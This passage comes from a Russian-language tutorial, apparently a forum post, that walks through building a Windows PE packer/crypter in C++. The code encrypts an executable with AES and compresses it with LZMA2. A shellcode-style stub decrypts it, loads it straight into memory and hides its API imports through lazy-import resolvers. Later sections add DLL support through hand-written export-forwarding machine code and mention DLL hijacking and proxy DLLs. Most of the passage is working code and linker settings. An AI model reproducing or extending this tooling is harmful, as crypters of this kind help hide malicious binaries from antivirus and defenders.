FL2_decompress(code_buffer, actual_data_size, &data_ptr_byte[16], data_size - 32);
memset(data_ptr, 0, data_size);
}
Мы не используем многопоточную распаковку lzma2, потому что использование потоков в шелл-коде - очень плохая идея!
Click to expand...
Распаковщик: C Runtime и WinAPI Resolver
Ок, теперь, если вы попытаетесь собрать проект unpacker_stub, то столкнетесь с
множеством ошибок о неразрешённых внешних символах:
Это произошло потому, что мы удалили все стандартные библиотеки, такие как
msvcrt и kernel32. Но есть одно решение, которое называется Lazy Import.
Lazy Import
При "ленивом импорте" мы вызываем системные функции на лету. Чтобы
использовать эту технику, вам понадобится
эта удивительная
библиотека, состоящая из одного заголовка от настоящего гения Justas Masiulis.
Первое, что нужно сделать - это загрузить библиотеку:
C++:Copy to clipboard
uintptr_t msvcrtLib = reinterpret_cast<uintptr_t>(LI_FIND(LoadLibraryA)(_S("msvcrt.dll")));
А затем просто вызвать функцию:
C++:Copy to clipboard
LI_GET(msvcrtLib, printf)("This is a message from dynamically loaded printf.\n");
И всё! Вы можете использовать любую библиотеку и любую функцию без каких-либо проблем в вашем файле, но проблема здесь в том, что у нас много функций в fast-lzma2, и замена всех их функцией LI_GET может занять очень много времени!
Кроме того это может вызвать множество проблем в коде библиотеки, поэтому мне пришла в голову идея: "Что, если я сделаю Resolvers"? Получилось!
Разработка Resolver
Что такое Resolver и как мы можем использовать его в качестве решения? Всё
просто: мы реализуем все функции C Runtime и WinAPI внутри смоделированных
msvrct.lib и kernel32.lib (можно использовать любые другие). Затем мы вызываем
оригинальные функции и перенаправляем параметры в них, после возвращаем
результат. Это даст нам возможность создать статическую библиотеку из любой
динамической библиотеки!
Например, вот как мы реализуем memcpy :
C++:Copy to clipboard
// resolver.h
void crt_init();
void* ___memcpy(void* dst, const void* src, size_t size);
C++:Copy to clipboard
// resolver.cpp
uintptr_t msvcrtLib = 0;
#define _VCRTFunc(fn) LI_GET(msvcrtLib,fn)
void crt_init()
{
msvcrtLib = reinterpret_cast<uintptr_t>(LI_FIND(LoadLibraryA)(_S("msvcrt.dll")));
}
// Dynamic memcpy
void* ___memcpy(void* dst, const void* src, size_t size)
{
return _VCRTFunc(memcpy)(dst, src, size);
}
C++:Copy to clipboard
// resolver_export.cpp
#include "resolver.h"
#define RESOLVER extern "C"
RESOLVER void* __cdecl memcpy(void* dst, const void* src, size_t size)
{
return ___memcpy(dst, src, size);
}
Чтобы уменьшить размер статьи, я не стану расписывать как разрешить все необходимые функции, сам процесс. Но вы можете легко сделать это с помощью приведенного примера кода. Также я включил предварительно собранные статические lib-файлы моих Resolvers в исходный код проекта. Сэкономите немного времени и воспользуйтесь ими.
Статическая линковка и Resolvers
При линковке не используйте pragma, вместо этого используйте свойства компоновщика:
1. Перейдите в конфигурацию проекта unpacker_stub и в разделе Компоновщик > Общие > Дополнительные каталоги библиотек измените его на ".\resolvers"
2. Перейдите в Компоновщик > Ввод > Дополнительные зависимости и добавьте "msvrcrt.lib" и "kernel32.lib"
3. Перейдите в Каталоги VC++ и очистите поля "Каталоги библиотек" и "Каталоги библиотек WinRT", чтобы избежать линковки с оригинальными библиотеками.
4. Создайте заголовки функций:
C++:Copy to clipboard
// Resolvers Functions
extern "C" void crt_init();
extern "C" void k32_init();
5. Инициализируйте Resolvers перед инициализацией шифровщика:
C++:Copy to clipboard
// Initializing Resolvers
k32_init();
crt_init();
6. Обновите объединение секций, как показано ниже:
C++:Copy to clipboard
// Merge Data With Code
#pragma comment(linker, "/merge:.rdata=.text")
#pragma comment(linker, "/merge:.data=.text")
7. Перейдите в Компоновщик> Командная строка и в Дополнительных параметрах
введите "/EMITPOGOPHASEINFO /SECTION:.text,EWR":
8. Перейдите в Компоновщик > Дополнительно и измените Внесение случайности в базовый адрес на Нет (/DYNAMICBASE:NO)
9. Перейдите в Компоновщик > Дополнительно и измените Фиксированный базовый адрес на Да (/FIXED). Эта опция предотвратит создание секции релокаций, иначе код будет зависеть от стаба.
Компилируем и происходит магия... Стаб распаковщика успешно скомпилирован!
Распаковщик: Loader/Mapper
Пришло время добавить лоадер и маппер в распаковщик и закончить работать над стабом. Для этого используем библиотеку mmLoader, разработанную на чистом C.
После добавления библиотеки и файла в проект, вставьте следующий код в конец стаба распаковщика:
C++:Copy to clipboard
// PE Loader Library
#include "mmLoader.h"
...
// Loading PE File
DWORD pe_loader_result = 0;
HMEMMODULE pe_module = LoadMemModule(code_buffer, true, &pe_loader_result);
Вот так! Теперь соберите проект, и вы должны получить файл
unpacker_stub.exe , который содержит только две секции:
- .text: код распаковщика
- .pdata: содержит секцию исключений, которая нам не нужна.
Извлеките данные из .text, используя CFF Explorer или Hex Editor и преобразуйте их в массив:
C++:Copy to clipboard
// unpacker_stub.h (pe_packer project)
unsigned char unpacker_stub[175104] = {
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B,
0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,
0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26
...
03_pe_packer_tutorial_packer_chapter2_vs16_x64.zip
Упаковщик: Создание стаба
Подключите unpacker_stub.h в packer.cpp сделайте следующие изменения в коде.
1. Добавляем функцию-хелпер для поиска байтов в стабе распаковщика:
C++:Copy to clipboard
#include <algorithm>
...
inline DWORD _find(uint8_t* data, size_t data_size, DWORD& value)
{
for (size_t i = 0; i < data_size; i++)
if (memcmp(&data[i], &value, sizeof DWORD) == 0) return i;
return -1;
}
2. Измените заголовки секций:
C++:Copy to clipboard
// Initializing Section [ Code ]
IMAGE_SECTION_HEADER c_sec;
memset(&c_sec, NULL, sizeof IMAGE_SECTION_HEADER);
c_sec.Name[0] = '[';
c_sec.Name[1] = ' ';
c_sec.Name[2] = 'H';
c_sec.Name[3] = '.';
c_sec.Name[4] = 'M';
c_sec.Name[5] = ' ';
c_sec.Name[6] = ']';
c_sec.Name[7] = 0x0;
c_sec.Misc.VirtualSize = _align(sizeof unpacker_stub, memory_alignment_size);
c_sec.VirtualAddress = memory_alignment_size;
c_sec.SizeOfRawData = sizeof unpacker_stub;
c_sec.PointerToRawData = file_alignment_size;
c_sec.Characteristics =
IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;
// Initializing Section [ Data ]
IMAGE_SECTION_HEADER d_sec;
memset(&d_sec, NULL, sizeof IMAGE_SECTION_HEADER);
d_sec.Name[0] = '[';
d_sec.Name[1] = ' ';
d_sec.Name[2] = 'H';
d_sec.Name[3] = '.';
d_sec.Name[4] = 'M';
d_sec.Name[5] = ' ';
d_sec.Name[6] = ']';
d_sec.Name[7] = 0x0;
d_sec.Misc.VirtualSize = _align(data_buffer.size(), memory_alignment_size);
d_sec.VirtualAddress = c_sec.VirtualAddress + c_sec.Misc.VirtualSize;
d_sec.SizeOfRawData = _align(data_buffer.size(), file_alignment_size);
d_sec.PointerToRawData = c_sec.PointerToRawData + c_sec.SizeOfRawData;
d_sec.Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
3. Обновите код, создающий PE-заголовки:
C++:Copy to clipboard
// Update PE Image Size
printf("[Information] Updating PE Information...\n");
nt_h.OptionalHeader.SizeOfImage =
_align(d_sec.VirtualAddress + d_sec.Misc.VirtualSize, memory_alignment_size);
// Update PE Informations
nt_h.FileHeader.Characteristics = in_pe_nt_header->FileHeader.Characteristics;
nt_h.FileHeader.TimeDateStamp = in_pe_nt_header->FileHeader.TimeDateStamp;
nt_h.OptionalHeader.CheckSum = 0xFFFFFFFF;
nt_h.OptionalHeader.SizeOfCode = c_sec.SizeOfRawData;
nt_h.OptionalHeader.SizeOfInitializedData = d_sec.SizeOfRawData;
nt_h.OptionalHeader.Subsystem = in_pe_nt_header->OptionalHeader.Subsystem;
// Update PE Entrypoint ( Taken from .map file )
nt_h.OptionalHeader.AddressOfEntryPoint = 0x00005940;
Чтобы получить смещение EntryPoint из map-файла, просто найдите func_unpacker и вы обнаружите это смещение там. Или вы можете просто скопировать точку входа из файла unpacker_stub.exe с помощью CFF Explorer.
4. Сейчас нам нужно найти сигнатуры в стабе и пропатчить их:
C++:Copy to clipboard
// Create/Open PE File
printf("[Information] Writing Generated PE to Disk...\n");
fstream pe_writter;
pe_writter.open(output_pe_file, ios::binary | ios::out);
// Write DOS Header
pe_writter.write((char*)&dos_h, sizeof dos_h);
// Write NT Header
pe_writter.write((char*)&nt_h, sizeof nt_h);
// Write Headers of Sections
pe_writter.write((char*)&c_sec, sizeof c_sec);
pe_writter.write((char*)&d_sec, sizeof d_sec);
// Add Padding
while (pe_writter.tellp() != c_sec.PointerToRawData) pe_writter.put(0x0);
// Find Singuatures in Unpacker Stub
DWORD data_ptr_sig = 0xAABBCCDD;
DWORD data_size_sig = 0xEEFFAADD;
DWORD actual_data_size_sig = 0xA0B0C0D0;
DWORD header_size_sig = 0xF0E0D0A0;
DWORD data_ptr_offset = _find(unpacker_stub, sizeof unpacker_stub, data_ptr_sig);
DWORD data_size_offset = _find(unpacker_stub, sizeof unpacker_stub, data_size_sig);
DWORD actual_data_size_offset = _find(unpacker_stub, sizeof unpacker_stub, actual_data_size_sig);
DWORD header_size_offset = _find(unpacker_stub, sizeof unpacker_stub, header_size_sig);
// Log Singuatures Information
if (data_ptr_offset != -1)
printf("[Information] Signature A Found at : %X\n", data_ptr_offset);
if (data_size_offset != -1)
printf("[Information] Signature B Found at : %X\n", data_size_offset);
if (actual_data_size_offset != -1)
printf("[Information] Signature C Found at : %X\n", actual_data_size_offset);
if (header_size_offset != -1)
printf("[Information] Signature D Found at : %X\n", header_size_offset);
// Update Code Section
printf("[Information] Updating Offset Data...\n");
memcpy(&unpacker_stub[data_ptr_offset], &d_sec.VirtualAddress, sizeof DWORD);
memcpy(&unpacker_stub[data_size_offset], &d_sec.SizeOfRawData, sizeof DWORD);
DWORD pe_file_actual_size = (DWORD)input_pe_file_buffer.size();
memcpy(&unpacker_stub[actual_data_size_offset], &pe_file_actual_size, sizeof DWORD);
memcpy(&unpacker_stub[header_size_offset], &nt_h.OptionalHeader.BaseOfCode, sizeof DWORD);
// Write Code Section
printf("[Information] Writing Code Data...\n");
pe_writter.write((char*)&unpacker_stub, sizeof unpacker_stub);
// Write Data Section
printf("[Information] Writing Packed Data...\n");
size_t current_pos = pe_writter.tellp();
pe_writter.write((char*)data_buffer.data(), data_buffer.size());
while (pe_writter.tellp() != current_pos + d_sec.SizeOfRawData) pe_writter.put(0x0);
// Close PE File
pe_writter.close();
Поехали, попробуем упаковщик... и... Поздравляю! Вы сделали свой первый
упаковщик!
04_pe_packer_tutorial_packer_chapter3_vs16_x64.zip
Упаковщик: Поддержка динамического связывания + Создание таблицы экспорта
Сейчас наш упаковщик может сжимать EXE-файлы и создавать новый рабочий файл. Но что, если вы хотите сжать DLL-файл с его таблицей экспорта? Для этого нам нужно создать таблицу экспорта, а затем перенаправлять вызовы настоящему модулю.
Данный этап не так прост, как предыдущие части. На самом деле он очень сложен и требует железных мозгов для его разрешения. Но не волнуйтесь, я разобрал его для вас, так что давайте начнём и добавим поддержку DLL в наш упаковщик!
A) Доделываем стаб распаковщика для поддержки DLL-файлов
На данный момент стаб распаковщика не предназначен для DllMain. Нам нужно
изменить его, чтобы убедиться, что он правильно пройдет процедуру
инициализации и добавить два дополнительных параметра, которые будут описаны в
следующем разделе.
Новый стаб должен выглядеть так:
C++:Copy to clipboard
// unpacker.cpp (unpacker_stub project)
// WinAPI Functions
#include <Windows.h>
#include <winnt.h>
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
// Resolvers Functions
EXTERN_C void crt_init();
EXTERN_C void k32_init();
// Encryption Library
extern "C"
{
#include "aes.h"
}
// Compression Library
#include "lzma2\fast-lzma2.h"
// PE Loader Library
#include "mmLoader.h"
// Merge Data With Code
#pragma comment(linker, "/merge:.rdata=.text")
#pragma comment(linker, "/merge:.data=.text")
// Cross Section Value
EXTERN_C static volatile uintptr_t moduleImageBase = 0xBCEAEFBA;
EXTERN_C static volatile FARPROC functionForwardingPtr = (FARPROC)0xCAFEBABE;
// External Functions
EXTERN_C BOOL CallModuleEntry(void* pMemModule_d, DWORD dwReason);
// Multi-Accessing Values
HMEMMODULE pe_module = 0;
// Entrypoint (EXE/DLL)
BOOL func_unpack(void*, int reason, void*)
{
// Releasing DLL PE Module
if (reason == DLL_PROCESS_DETACH)
{ CallModuleEntry(pe_module, DLL_PROCESS_DETACH); FreeMemModule(pe_module); return TRUE; };
// Handling DLL Thread Events
if (reason == DLL_THREAD_ATTACH) return CallModuleEntry(pe_module, DLL_THREAD_ATTACH);
if (reason == DLL_THREAD_DETACH) return CallModuleEntry(pe_module, DLL_THREAD_DETACH);
// Internal Data [ Signatures ]
volatile PVOID data_ptr = (void*)0xAABBCCDD;
volatile DWORD data_size = 0xEEFFAADD;
volatile DWORD actual_data_size = 0xA0B0C0D0;
volatile DWORD header_size = 0xF0E0D0A0;
// Initializing Resolvers
k32_init(); crt_init();
// Getting BaseAddress of Module
intptr_t imageBase = (intptr_t)&__ImageBase;
data_ptr = (void*)((intptr_t)data_ptr + imageBase);
// Initializing Cryptor
struct AES_ctx ctx;
const unsigned char key[32] = {
0xD6, 0x23, 0xB8, 0xEF, 0x62, 0x26, 0xCE, 0xC3, 0xE2, 0x4C, 0x55, 0x12,
0x7D, 0xE8, 0x73, 0xE7, 0x83, 0x9C, 0x77, 0x6B, 0xB1, 0xA9, 0x3B, 0x57,
0xB2, 0x5F, 0xDB, 0xEA, 0x0D, 0xB6, 0x8E, 0xA2
};
const unsigned char iv[16] = {
0x18, 0x42, 0x31, 0x2D, 0xFC, 0xEF, 0xDA, 0xB6, 0xB9, 0x49, 0xF1, 0x0D,
0x03, 0x7E, 0x7E, 0xBD
};
AES_init_ctx_iv(&ctx, key, iv);
// Casting PVOID to BYTE
uint8_t* data_ptr_byte = (uint8_t*)data_ptr;
// Decrypting Buffer
AES_CBC_decrypt_buffer(&ctx, data_ptr_byte, data_size);
// Allocating Code Buffer
uint8_t* code_buffer = (uint8_t*)malloc(actual_data_size);
// Decompressing Buffer
FL2_decompress(code_buffer, actual_data_size, &data_ptr_byte[16], data_size - 32);
memset(data_ptr, 0, data_size);
// Loading PE Module
DWORD pe_loader_result = 0;
pe_module = LoadMemModule(code_buffer, false, &pe_loader_result);
// Set Image Base
moduleImageBase = (uintptr_t)*pe_module;
functionForwardingPtr = 0;
// Call Entrypoint
return CallModuleEntry(pe_module, DLL_PROCESS_ATTACH);
}
Теперь давайте я объясню вам что сделал
1. Мы изменили тип возврата func_unpack на BOOL и добавили 3 параметра:
C++:Copy to clipboard
BOOL func_unpack(void*, int reason, void*)
2. Мы должны переписать метод получения базового адреса. В EXE мы просто используем GetModuleHandle , но не в DLL. Можно использовать первый параметр функции func_unpack (который является типом hInstance), но это работает только для DLL. Используя же __ImageBase, мы получим верное значение для любого PE-файла:
C++:Copy to clipboard
#include <winnt.h>
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
...
// Getting BaseAddress of Module
intptr_t imageBase = (intptr_t)&__ImageBase;
3. Нам нужно получить возможность контролировать точку входа нашей DLL. Мы должны внести некоторые несложные изменения в mmLoader и сделать функцию CallModuleEntry пубоичной. Потом будем использовать её для вызова вручную после загрузки нашего модуля из памяти:
C++:Copy to clipboard
// External Functions
EXTERN_C BOOL CallModuleEntry(void* pMemModule_d, DWORD dwReason);
...
// Changes in mmLoader.c
BOOL CallModuleEntry(void* pMemModule_d, DWORD dwReason)
{
PMEM_MODULE pMemModule = pMemModule_d;
...
4. Мы должны обрабатывать события DLL, чтобы избежать утечек памяти, сбоев или потери данных при её выгрузке из памяти:
C++:Copy to clipboard
// Releasing DLL PE Module
if (reason == DLL_PROCESS_DETACH)
{ CallModuleEntry(pe_module, DLL_PROCESS_DETACH); FreeMemModule(pe_module); return TRUE; };
// Handling DLL Thread Events
if (reason == DLL_THREAD_ATTACH) return CallModuleEntry(pe_module, DLL_THREAD_ATTACH);
if (reason == DLL_THREAD_DETACH) return CallModuleEntry(pe_module, DLL_THREAD_DETACH);
5. Добавим две константы, к которым будем обращаться далее:
C++:Copy to clipboard
// Cross Section Value
EXTERN_C static volatile uintptr_t moduleImageBase = 0xBCEAEFBA;
EXTERN_C static volatile FARPROC functionForwardingPtr = (FARPROC)0xCAFEBABE;
6. Обновим процесс загрузки и установим некие значения, что это за значения? Читайте дальше!
C++:Copy to clipboard
// Loading PE Module
DWORD pe_loader_result = 0;
pe_module = LoadMemModule(code_buffer, false, &pe_loader_result);
// Set Image Base
moduleImageBase = (uintptr_t)*pe_module;
functionForwardingPtr = 0;
// Call Entrypoint
return CallModuleEntry(pe_module, DLL_PROCESS_ATTACH);
Не забудьте перенести pe_module в глобальную область видимости, чтобы к нему можно было обращаться при каждом событии. После компиляции стаба распаковщика и обновлении массива сырых данных в проекте упаковщика, обновлении смещения точки входа, он должен работать как для exe, так и для dll. Теперь перейдем таблице экспорта.
B) Добавление поиска по шаблону в упаковщик в стаб распаковщика
Так, переходим к файлу packer.cpp и добавим код поиска по шаблону сразу после строки, в которой мы обновили значение точки входа:
C++:Copy to clipboard
// Update PE Entrypoint ( Taken from .map file )
nt_h.OptionalHeader.AddressOfEntryPoint = 0x00005F10;
// Get Const Values Offset In Unpacker
DWORD imagebase_value_sig = 0xBCEAEFBA;
DWORD imageBaseValueOffset = _find(unpacker_stub, sizeof unpacker_stub, imagebase_value_sig);
memset(&unpacker_stub[imageBaseValueOffset], NULL, sizeof uintptr_t);
if (imageBaseValueOffset != -1)
printf("[Information] ImageBase Value Signature Found at : %X\n", imageBaseValueOffset);
DWORD forwarding_value_sig = 0xCAFEBABE;
DWORD forwarding_value_offset = _find(unpacker_stub, sizeof unpacker_stub, forwarding_value_sig);
memset(&unpacker_stub[forwarding_value_offset], NULL, sizeof FARPROC);
if (imageBaseValueOffset != -1)
printf("[Information] Function Forwading Value Signature Found at : %X\n", forwarding_value_offset);
C) Добавляем Секцию экспорта/Таблицы/Этап генерации кода
Пришло время сделать шаг, который определит, упаковываем ли мы DLL-файл. Добавьте следующий код сразу после поиска шаблона:
C++:Copy to clipboard
// Create Export Table ( Section [ Export ] )
IMAGE_SECTION_HEADER et_sec;
memset(&et_sec, NULL, sizeof IMAGE_SECTION_HEADER);
bool hasExports = false; vector<uint8_t> et_buffer;
if (isDLL)
{
// We Generate Export Section, Export Table and Export Code Here
}
D) Извлекаем информацию об экспорте из исходного PE-файла
В начале нужно выяснить, есть ли экспорт у файла:
C++:Copy to clipboard
if (isDLL)
{
uint8_t export_section_index = 0;
int export_section_raw_addr = -1;
// Get Export Table Information
IMAGE_DATA_DIRECTORY ex_table =
in_pe_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (ex_table.VirtualAddress != 0) hasExports = true;
printf("[Information] Has Exports : %s\n", BOOL_STR(hasExports));
if (hasExports)
{
printf("[Information] Creating Export Table...\n");
// We Have Exports on Input PE File!
}
}
Теперь мы получили RVA исходной экспортной секции и вычислили по какому виртуальному адресу она находится:
C++:Copy to clipboard
// Export Directory RVA
DWORD e_dir_rva = ex_table.VirtualAddress;
DWORD et_sec_virtual_address = d_sec.VirtualAddress + d_sec.Misc.VirtualSize;
printf("[Information] Input PE File Section Count : %d\n", in_pe_nt_header->FileHeader.NumberOfSections);
Перебираем все секции PE-файла и выясняем, какая из них является секцией экспорта:
C++:Copy to clipboard
// Get Section Macro
#define GET_SECTION(h,s) (uintptr_t)IMAGE_FIRST_SECTION(h) + ((s) * sizeof IMAGE_SECTION_HEADER)
...
// Find Export Section in Input PE File
for (size_t i = 0; i < in_pe_nt_header->FileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER* get_sec = (PIMAGE_SECTION_HEADER)(GET_SECTION(in_pe_nt_header, i));
IMAGE_SECTION_HEADER* get_next_sec = (PIMAGE_SECTION_HEADER)(GET_SECTION(in_pe_nt_header, i + 1));
if (e_dir_rva > get_sec->VirtualAddress &&
e_dir_rva < get_next_sec->VirtualAddress &&
(i + 1) <= in_pe_nt_header->FileHeader.NumberOfSections)
{
export_section_index = i; break;
};
}
printf("[Information] Export Section Found At %dth Section\n", export_section_index + 1);
if (export_section_index != -1)
{
// Actual Export Generation Happens Here
}
Хорошо, давайте поговорим о том, как мы будем выполнять процесс генерации dll- экспорта, прежде чем мы шагнем в драконью пасть...
E) Концепция DLL Export Forwarding
Что такое форвардинг функций? В программировании форвардинг означает переход от вызова одной функции к другой без изменения её параметров.
Это может быть сделано с помощью нескольких методов, известных как DLL
hijacking, proxy-dll, machine code redirection и т.д. Создадим небольшой
ассемблерный код (32 байта), который определяет базовый адрес загруженного
модуля, суммируем его с реальным смещением функции и, наконец, переходим к
нему.
Будем использовать для форвардинга функций следующий код:
Code:Copy to clipboard
PUSH RCX
PUSH RAX
MOV RAX,QWORD PTR DS:[(Image Base Address)]
MOV ECX, (Function Offset)
ADD RAX,RCX
MOV QWORD PTR DS:[(Function Offset + Image Base Address)],RAX
POP RAX
POP RCX
JMP QWORD PTR DS:[(Function Offset + Image Base Address)] /* < Jump */
F) Клонирование таблицы экспорта исходного файла, внесение изменений и ребазирование
Теперь, когда вы знаете, как всё устроено, пора приступать к самому сложному. Но прежде чем продолжить, добавьте эти полезные макросы для облегчения процесса:
C++:Copy to clipboard
#define GET_SECTION(h,s) (uintptr_t)IMAGE_FIRST_SECTION(h) + ((s) * sizeof IMAGE_SECTION_HEADER)
#define RVA_TO_FILE_OFFSET(rva,membase,filebase) ((rva - membase) + filebase)
#define RVA2OFS_EXP(rva) (input_pe_file_buffer.data() + \
(RVA_TO_FILE_OFFSET(rva, in_pe_exp_sec->VirtualAddress, in_pe_exp_sec->PointerToRawData)))
#define REBASE_RVA(rva) ((rva - in_pe_exp_sec->VirtualAddress + et_sec_virtual_address) - \
(e_dir_rva - in_pe_exp_sec->VirtualAddress))
Разбираем исходную секцию экспорта и теперь у нас есть доступ к её данным:
C++:Copy to clipboard
printf("[Information] Parsing Input PE Export Section...\n");
// Get Export Directory
PIMAGE_SECTION_HEADER in_pe_exp_sec = (PIMAGE_SECTION_HEADER)(GET_SECTION(in_pe_nt_header, export_section_index));
PIMAGE_EXPORT_DIRECTORY e_dir = (PIMAGE_EXPORT_DIRECTORY)RVA2OFS_EXP(e_dir_rva);
DWORD e_dir_size = in_pe_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
printf("[Information] Export Section Name : %s\n", in_pe_exp_sec->Name);
// Extracting Input Binary Export Table
PULONG in_et_fn_tab = (PULONG)RVA2OFS_EXP(e_dir->AddressOfFunctions);
PULONG in_et_name_tab = (PULONG)RVA2OFS_EXP(e_dir->AddressOfNames);
PUSHORT in_et_ordianl_tab = (PUSHORT)RVA2OFS_EXP(e_dir->AddressOfNameOrdinals);
uintptr_t in_et_data_start = (uintptr_t)in_et_fn_tab;
DWORD in_et_last_fn_name_size = strlen((char*)RVA2OFS_EXP(in_et_name_tab[e_dir->NumberOfNames - 1])) + 1;
uintptr_t in_et_data_end = (uintptr_t)(RVA2OFS_EXP(in_et_name_tab[e_dir->NumberOfNames - 1]) + in_et_last_fn_name_size);
Потом мы просто ребазируем с помощью макроса следующим образом:
C++:Copy to clipboard
// Rebase Export Table Addresses
printf("[Information] Rebasing Expor Table Addresses...\n");
e_dir->AddressOfFunctions = REBASE_RVA(e_dir->AddressOfFunctions);
e_dir->AddressOfNames = REBASE_RVA(e_dir->AddressOfNames);
e_dir->AddressOfNameOrdinals = REBASE_RVA(e_dir->AddressOfNameOrdinals);
for (size_t i = 0; i < e_dir->NumberOfNames; i++) in_et_name_tab[i] = REBASE_RVA(in_et_name_tab[i]);
После этого копируем данные секции экспорта в наш новый PE-файл:
C++:Copy to clipboard
// Generate Export Table Direcotry Data
et_buffer.resize(e_dir_size);
memcpy(et_buffer.data(), e_dir, sizeof IMAGE_EXPORT_DIRECTORY);
G) Создание кода для экспорта
Добавьте этот небольшой фрагмент кода в ваш исходный код упаковщика сразу
после // Helpers
:
C++:Copy to clipboard
// Machine Code
unsigned char func_forwarding_code[32] =
{
0x51, 0x50, // PUSH RCX, PUSH RAX
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00, // MOV RAX,QWORD PTR DS:[OFFSET]
0xB9, 0x00, 0x00, 0x00, 0x00, // MOV ECX,VALUE
0x48, 0x03, 0xC1, // ADD RAX,RCX
0x48, 0x89, 0x05, 0x00, 0x00, 0x00, 0x00, // MOV QWORD PTR DS:[OFFSET],RAX
0x58, 0x59, // POP RAX, POP RCX
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // JMP QWORD PTR DS:[OFFSET]
};
После этого нам нужно выделить временный буфер, вычислить Image base RVA, RVA текущего блока кода и смещение. Затем просто устанавливаем значения в массиве и добавляем в этот временный буфер. Далее создаём в секцию экспорта:
C++:Copy to clipboard
// Generate Export Table Codes
printf("[Information] Generating Function Forwarding Code...\n");
DWORD ff_code_buffer_size = sizeof func_forwarding_code * e_dir->NumberOfFunctions;
uint8_t* ff_code_buffer = (uint8_t*)malloc(ff_code_buffer_size);
DWORD image_base_rva = c_sec.VirtualAddress + imageBaseValueOffset;
DWORD ff_value_rva = c_sec.VirtualAddress + forwarding_value_offset;
for (size_t i = 0; i < e_dir->NumberOfFunctions; i++)
{
DWORD func_offset = in_et_fn_tab[in_et_ordianl_tab[i]];
DWORD machine_code_offset = i * sizeof func_forwarding_code;
DWORD machine_code_rva = et_buffer.size() + machine_code_offset + et_sec_virtual_address;
// Machine Code Data
int32_t* offset_to_image_base = (int32_t*)&func_forwarding_code[5];
int32_t* function_offset_value = (int32_t*)&func_forwarding_code[10];
int32_t* offset_to_func_addr = (int32_t*)&func_forwarding_code[20];
int32_t* offset_to_func_addr2 = (int32_t*)&func_forwarding_code[28];
offset_to_image_base[0] = (image_base_rva - machine_code_rva) - (5 + sizeof int32_t);
function_offset_value[0] = func_offset;
offset_to_func_addr[0] = (ff_value_rva - machine_code_rva) - (20 + sizeof int32_t);
offset_to_func_addr2[0] = (ff_value_rva - machine_code_rva) - (28 + sizeof int32_t);
memcpy(&ff_code_buffer[machine_code_offset], func_forwarding_code, sizeof func_forwarding_code);
// Update Function Address
in_et_fn_tab[i] = et_sec_virtual_address + et_buffer.size() + (i * sizeof func_forwarding_code);
}
// Copy Updated Export Table Data
DWORD et_data_size = in_et_data_end - in_et_data_start;
memcpy(&et_buffer.data()[sizeof IMAGE_EXPORT_DIRECTORY], (void*)in_et_data_start, et_data_size);
// Merge Export Table and Export Data Buffers
DWORD size_of_export_table = et_buffer.size();
et_buffer.resize(size_of_export_table + ff_code_buffer_size);
memcpy(&et_buffer.data()[size_of_export_table], (void*)ff_code_buffer, ff_code_buffer_size);
free(ff_code_buffer);
Это всё! Теперь нужно создать новую секцию для экспорта:
C++:Copy to clipboard
// Generate Export Table Section
et_sec.Name[0] = '[';
et_sec.Name[1] = ' ';
et_sec.Name[2] = 'H';
et_sec.Name[3] = '.';
et_sec.Name[4] = 'M';
et_sec.Name[5] = ' ';
et_sec.Name[6] = ']';
et_sec.Name[7] = 0x0;
et_sec.Misc.VirtualSize = _align(et_buffer.size(), memory_alignment_size);
et_sec.VirtualAddress = et_sec_virtual_address;
et_sec.SizeOfRawData = _align(et_buffer.size(), file_alignment_size);
et_sec.PointerToRawData = d_sec.PointerToRawData + d_sec.SizeOfRawData;
et_sec.Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE;
Обновим таблицу экспорта:
C++:Copy to clipboard
// Update Export Table Directory
nt_h.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress = et_sec.VirtualAddress;
nt_h.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size = e_dir_size;
Обновим счётчик секций и размер образа:
C++:Copy to clipboard
// Update PE Headers
nt_h.FileHeader.NumberOfSections = 3;
// Update PE Image Size
nt_h.OptionalHeader.SizeOfImage =
_align(et_sec.VirtualAddress + et_sec.Misc.VirtualSize, memory_alignment_size);
H) Запись экспорта DLL в PE-файл
Конечно, нужно сделать некоторые изменения для записи экспорта в файл. После записи секции данных запишем секцию экспорта, используя значение current_pos :
C++:Copy to clipboard
// Write Export Section
if (et_buffer.size() != 0 && hasExports)
{
printf("[Information] Writing Export Table Data...\n");
current_pos = pe_writter.tellp();
pe_writter.write((char*)et_buffer.data(), et_buffer.size());
while (pe_writter.tellp() != current_pos + et_sec.SizeOfRawData) pe_writter.put(0x0);
}
Итак, полный код создания файла:
C++:Copy to clipboard
// Create/Open PE File
printf("[Information] Writing Generated PE to Disk...\n");
fstream pe_writter;
size_t current_pos;
pe_writter.open(output_pe_file, ios::binary | ios::out);
// Write DOS Header
pe_writter.write((char*)&dos_h, sizeof dos_h);
// Write NT Header
pe_writter.write((char*)&nt_h, sizeof nt_h);
// Write Headers of Sections
pe_writter.write((char*)&c_sec, sizeof c_sec);
pe_writter.write((char*)&d_sec, sizeof d_sec);
if(nt_h.FileHeader.NumberOfSections == 3) pe_writter.write((char*)&et_sec, sizeof et_sec);
// Add Padding
while (pe_writter.tellp() != c_sec.PointerToRawData) pe_writter.put(0x0);
// Find Singuatures in Unpacker Stub
DWORD data_ptr_sig = 0xAABBCCDD;
